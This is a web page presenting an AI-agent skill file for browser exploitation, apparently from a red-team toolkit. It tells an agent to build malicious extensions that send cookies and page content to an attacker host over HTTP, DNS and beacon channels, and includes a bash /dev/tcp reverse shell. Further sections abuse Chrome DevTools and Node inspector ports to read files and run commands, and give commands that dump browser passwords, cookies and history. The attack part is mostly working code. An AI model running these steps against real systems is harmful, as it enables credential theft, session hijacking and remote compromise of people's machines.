Agent skill
browser-exploitation
Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/browser-exploitation
SKILL.md
Browser Exploitation
You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[browser-exploitation] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,extension-exfil-cookies.txt,cdp-file-read.txt).
Scope Boundary
This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
State Writes
Write actionable findings immediately via state so the orchestrator can react in real time:
add_credential()— cookies, tokens, saved passwords extractedadd_vuln()— confirmed CDP access, extension RCE, profile extractionadd_pivot()— internal services discovered via extension or CDPadd_blocked()— techniques attempted and failed
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Tool Requirements (Local-Only)
NEVER download, clone, install, or build tools. The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.
Prerequisites
Prerequisites vary by attack area:
- Section A (Extensions): Extension upload endpoint or bot that loads attacker-supplied extensions. Knowledge of manifest version (V2 or V3).
- Section B (CDP): Exposed Chrome DevTools or Node.js inspector port (9222, 9229, or similar).
- Section C (Profile Extraction): Shell access on a host with a browser installed (Chrome, Chromium, Firefox).
Step 1: Assess
Determine which attack vector applies:
- Extension upload endpoint found (upload form, API accepting .zip/.crx) → proceed to Step 2 (Section A)
- Exposed debug port (9222, 9229, other debug ports detected by nmap) → proceed to Step 3 (Section B)
- Shell access with browser installed (post-exploit credential harvesting) → proceed to Step 4 (Section C)
If the orchestrator provided context specifying which section, skip directly to it.
Step 2: Malicious Extension Crafting (Section A)
2a: Egress Check
Before crafting exploit extensions, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.
Create a test extension that tries multiple egress methods:
Manifest V3 egress test:
{
"manifest_version": 3,
"name": "Egress Test",
"version": "1.0",
"permissions": ["activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["test.js"]
}]
}
test.js:
// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
.catch(()=>{});
// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}
Start an HTTP listener on your attackbox (python3 -m http.server PORT) and
check which callbacks arrive. Use the first method that works.
Egress priority:
fetch()POST to attacker HTTP listener — most reliable, largest payloads- DNS exfil via subdomain lookups — works when HTTP is blocked
- WebSocket to attacker — persistent connection for streaming data
navigator.sendBeacon()— fire-and-forget, limited payload size
2b: Manifest V3 Extension Template
Modern Chrome uses Manifest V3. Content scripts run in page context; service workers handle background logic.
manifest.json:
{
"manifest_version": 3,
"name": "Helper",
"version": "1.0",
"permissions": ["activeTab", "cookies", "storage"],
"host_permissions": ["<all_urls>"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"background": {
"service_worker": "bg.js"
}
}
Content script patterns (content.js):
// Cookie theft — read document.cookie from every page
let data = {
url: location.href,
cookies: document.cookie,
html: document.documentElement.innerHTML.substring(0, 5000)
};
fetch('http://ATTACKBOX:PORT/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
Service worker patterns (bg.js) — internal service access:
// Fetch internal services the bot's browser can reach
const targets = [
'http://localhost:3000/',
'http://localhost:5000/',
'http://127.0.0.1:8080/',
'http://INTERNAL_HOST:PORT/'
];
Promise.all(targets.map(u =>
fetch(u).then(r => r.text()).then(body => ({url: u, body: body.substring(0, 3000)}))
.catch(e => ({url: u, error: e.message}))
)).then(results => {
fetch('http://ATTACKBOX:PORT/internal', {
method: 'POST',
body: JSON.stringify(results)
});
});
2c: Manifest V2 Extension Template
Older environments may require Manifest V2 (background page instead of service worker).
manifest.json:
{
"manifest_version": 2,
"name": "Helper",
"version": "1.0",
"permissions": ["<all_urls>", "cookies", "activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"background": {
"scripts": ["bg.js"],
"persistent": false
}
}
Content script and background script logic is the same as V3, but V2
background scripts have full DOM access (document, XMLHttpRequest).
2d: Packaging
Extensions must be packaged as a flat ZIP — files at the root, no subdirectory wrapper.
# Correct: flat zip from inside the extension directory
cd /tmp/extension && zip -r /tmp/extension.zip .
# WRONG: creates a subdirectory inside the zip
zip -r /tmp/extension.zip /tmp/extension/
Verify structure: unzip -l /tmp/extension.zip should show manifest.json at
the top level, not extension/manifest.json.
2e: Exfiltration Patterns
HTTP POST (preferred):
fetch('http://ATTACKBOX:PORT/exfil', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({cookies: document.cookie, url: location.href})
});
DNS exfil (when HTTP is blocked):
// Encode data in subdomain labels (max 63 chars per label)
let encoded = btoa(document.cookie).replace(/[^a-zA-Z0-9]/g, '');
let chunks = encoded.match(/.{1,60}/g) || [];
chunks.forEach((c, i) => {
new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`;
});
Beacon (fire-and-forget):
navigator.sendBeacon('http://ATTACKBOX:PORT/beacon',
new Blob([JSON.stringify({data: document.cookie})], {type: 'text/plain'}));
2f: Reverse Shell via Extension
When the bot runs on a host where you need shell access:
// content.js — trigger reverse shell via the page's server-side context
// Only works if extension can execute commands (e.g., via discovered RCE endpoint)
// Method 1: If an internal service has command injection
fetch('http://localhost:5000/vulnerable-endpoint', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
});
If the extension itself needs to deliver a reverse shell (e.g., via a discovered internal command injection), use the egress-tested port from Step 2a.
Shell method priority: mkfifo+nc > bash /dev/tcp > python socket. Try at most 3 ports before changing method. Do not iterate blindly.
2g: Common Constraints
- Timeouts: Bots often kill extensions after 10–30 seconds. Pack all
commands into the initial content_script execution. Use
Promise.all()for parallel fetches. - URL character restrictions: Upload endpoints may reject
/,>,<in filenames or paths. Use POST body instead of URL parameters for payloads. - Same-origin policy: Content scripts share the page's origin. Service
workers can fetch cross-origin with
host_permissions: ["<all_urls>"]. - HTTPS → HTTP: Content scripts on HTTPS pages cannot fetch HTTP URLs (mixed content). Use the service worker for cross-protocol requests.
Step 3: Chrome DevTools Protocol (Section B)
3a: Discovery
# Check if debug port is open and responsive
curl -s http://TARGET:9222/json/version
curl -s http://TARGET:9222/json
# Node.js inspector
curl -s http://TARGET:9229/json
The /json endpoint returns a list of open tabs with WebSocket debug URLs.
3b: Page Interaction via WebSocket
Use the webSocketDebuggerUrl from /json to interact with browser tabs:
# List pages and get WebSocket URLs
PAGES=$(curl -s http://TARGET:9222/json)
WS_URL=$(echo "$PAGES" | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
Evaluate JavaScript in page context:
# Using websocat or python websocket client
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"document.cookie"}}' \
| websocat "$WS_URL"
Python one-liner for CDP interaction:
import json, asyncio, websockets
async def cdp(ws_url, expr):
async with websockets.connect(ws_url) as ws:
await ws.send(json.dumps({"id":1,"method":"Runtime.evaluate","params":{"expression":expr}}))
return json.loads(await ws.recv())
3c: Cookie Extraction
# Get all cookies via CDP (not just current page)
echo '{"id":1,"method":"Network.getAllCookies"}' | websocat "$WS_URL"
3d: File Read
# Read local files via fetch in page context
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"fetch(\"file:///etc/passwd\").then(r=>r.text())"}}' \
| websocat "$WS_URL"
3e: Node.js Inspector RCE (Port 9229)
Node.js inspector allows direct code execution:
# Get WebSocket URL
WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
# Execute OS commands
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"require(\"child_process\").execSync(\"id\").toString()"}}' \
| websocat "$WS_URL"
After confirming RCE, establish a reverse shell via the Shell Access workflow (start_listener → send reverse shell command → stabilize).
Step 4: Browser Profile Extraction (Section C)
4a: Locate Profiles
Chrome/Chromium:
# Linux
ls -la ~/.config/google-chrome/Default/ 2>/dev/null
ls -la ~/.config/chromium/Default/ 2>/dev/null
# Also check other users
find /home -path "*/google-chrome/Default" -o -path "*/chromium/Default" 2>/dev/null
# Windows
dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default" 2>nul
dir "%LOCALAPPDATA%\Chromium\User Data\Default" 2>nul
# macOS
ls ~/Library/Application\ Support/Google/Chrome/Default/
Firefox:
# Linux
find ~/.mozilla/firefox -name "*.default*" -type d 2>/dev/null
# Windows
dir "%APPDATA%\Mozilla\Firefox\Profiles" 2>nul
# macOS
ls ~/Library/Application\ Support/Firefox/Profiles/
4b: Extract Cookies
# Chrome cookies (SQLite) — copy first to avoid lock issues
cp ~/.config/google-chrome/Default/Cookies /tmp/cookies.db
sqlite3 /tmp/cookies.db "SELECT host_key, name, encrypted_value FROM cookies;"
# Firefox cookies (SQLite)
cp ~/.mozilla/firefox/*.default*/cookies.sqlite /tmp/ff-cookies.db
sqlite3 /tmp/ff-cookies.db "SELECT host, name, value FROM moz_cookies;"
4c: Extract Saved Passwords
Chrome (Linux — encrypted with libsecret):
cp ~/.config/google-chrome/Default/"Login Data" /tmp/logins.db
sqlite3 /tmp/logins.db "SELECT origin_url, username_value, hex(password_value) FROM logins;"
Chrome encrypts passwords with OS-specific methods:
- Linux: libsecret (GNOME Keyring) or kwallet — decrypt with
secretstoragePython module or extract the key from~/.local/share/keyrings/ - Windows: DPAPI — decrypt with
dpapi.py(Impacket) ormimikatz - macOS: Keychain —
security find-generic-password -w -s "Chrome Safe Storage"
Firefox saved passwords:
# Firefox stores credentials in logins.json, encrypted with key from key4.db
# Use firefox_decrypt (if installed) or extract key4.db + logins.json
cp ~/.mozilla/firefox/*.default*/key4.db /tmp/
cp ~/.mozilla/firefox/*.default*/logins.json /tmp/
4d: Extract History and Other Data
# Chrome history
cp ~/.config/google-chrome/Default/History /tmp/history.db
sqlite3 /tmp/history.db "SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
# Chrome autofill
sqlite3 /tmp/history.db "SELECT name, value FROM autofill;" 2>/dev/null
# Bookmarks (JSON, no encryption)
cat ~/.config/google-chrome/Default/Bookmarks | python3 -m json.tool
Step 5: Escalate or Pivot
After completing the applicable section:
- Credentials found (cookies, passwords, API tokens): STOP. Return to orchestrator with credentials. The orchestrator records them and decides where to use them.
- Internal services discovered (via extension SSRF or CDP): STOP. Return to orchestrator recommending web-discovery for new targets. Pass: internal URLs, any cookies/tokens for access.
- Shell obtained (via CDP RCE or extension-delivered reverse shell): STOP. Return to orchestrator. Pass: session ID, user context, host info.
- Browser profile extracted: STOP. Return to orchestrator with extracted credentials and session cookies for credential reuse.
Troubleshooting
Extension not loading
- "manifest.json not found": ZIP has a subdirectory wrapper. Repackage as
flat ZIP with
manifest.jsonat root (see Step 2d). - "Manifest version not supported": Target browser doesn't support the manifest version. Try V2 if V3 fails, or vice versa.
- "Permission denied": Remove unnecessary permissions from manifest.
Start minimal (
activeTabonly) and add as needed. - Content script not executing: Check
matchespattern. Use"<all_urls>"for broadest coverage. Verifyrun_attiming.
Exfiltration not landing
- No HTTP callback: Run egress check (Step 2a) first. The bot's network may block outbound HTTP. Try DNS exfil or WebSocket.
- CORS errors in console: Content scripts are not subject to CORS for
fetch()whenhost_permissionsincludes the target. Service workers bypass CORS entirely with proper permissions. - Mixed content blocked: HTTPS page cannot load HTTP resources. Use the service worker for HTTP fetches, or exfil to an HTTPS endpoint.
- Bot timeout: Pack all logic into initial execution. Avoid
setTimeout()or sequential fetches. UsePromise.all().
CDP WebSocket connection refused
- Port open but no WebSocket: The
/jsonendpoint may require a specific host header. Trycurl -H "Host: localhost" http://TARGET:9222/json. - Empty page list: Browser may have no open tabs. Try
/json/new?http://TARGETto open a new tab (if permitted). - "websocat not found": Use Python websockets library instead, or
curlwith upgrade headers for simple one-shot commands.
Profile database locked
- "database is locked": The browser is running. Copy the database file
to
/tmp/before reading:cp Cookies /tmp/cookies.db. - Encrypted values: Chrome encrypts cookie values and passwords. On Linux, the encryption key is in GNOME Keyring. On Windows, use DPAPI. Extract the raw hex values and note the encryption method in your return summary — the orchestrator will route to the appropriate decryption approach.
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?